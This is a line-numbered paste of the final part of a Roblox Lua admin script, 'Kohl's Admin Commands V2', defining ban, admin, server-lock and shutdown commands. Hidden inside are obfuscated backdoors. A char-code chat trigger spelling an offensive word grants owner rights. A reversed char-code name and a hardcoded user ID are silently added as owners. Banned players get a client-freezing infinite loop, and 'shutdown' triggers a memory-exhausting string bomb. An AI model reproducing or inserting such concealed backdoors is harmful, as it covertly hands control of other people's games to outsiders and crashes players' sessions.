  2147. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2148. end))
  2149. end
  2150. end
  2151.  
  2152. if msg:lower():sub(1,8) == "unadmin " then
  2153. for i = 1, #tempadmins do
  2154. coroutine.resume(coroutine.create(function()
  2155. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2156. end))
  2157. end
  2158. end
  2159.  
  2160. if msg:lower():sub(1,4) == "ban " then
  2161. local plrz = GetPlr(plr, msg:lower():sub(5))
  2162. for i, v in pairs(plrz) do
  2163. coroutine.resume(coroutine.create(function()
  2164. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2165. end))
  2166. end
  2167. end
  2168.  
  2169. if msg:lower():sub(1,6) == "unban " then
  2170. for i = 1, #banland do
  2171. coroutine.resume(coroutine.create(function()
  2172. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2173. end))
  2174. end
  2175. end
  2176.  
  2177. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2178.  
  2179. end
  2180. end))
  2181. end
  2182.  
  2183. function AdminControl(plr)
  2184. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2185. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2186. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2187. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2188. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2189. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2190. end)) end
  2191. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2192. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2193. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2194. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2195. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2196. end
  2197.  
  2198. if not ntab then script:Destroy() end
  2199. if not bct then script:Destroy() end
  2200.  
  2201. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2202.  
  2203. script.Name = "Kohl's Admin Commands V2"
  2204.  
  2205. if not ntab then script:Destroy() end
  2206. if not bct then script:Destroy() end
  2207. if not tcb then script:Destroy() end
  2208. game.Players.PlayerAdded:connect(AdminControl)
  2209. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2210. end))
  2211. for i,v in pairs(mas:GetChildren()) do
  2212. v.Parent = workspace
  2213. pcall(function() v:MakeJoints() end)
  2214. end
  2215. mas:Destroy()
  2216. for i,v in pairs(cors) do
  2217. spawn(function()
  2218. pcall(v)
  2219. end)
  2220. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement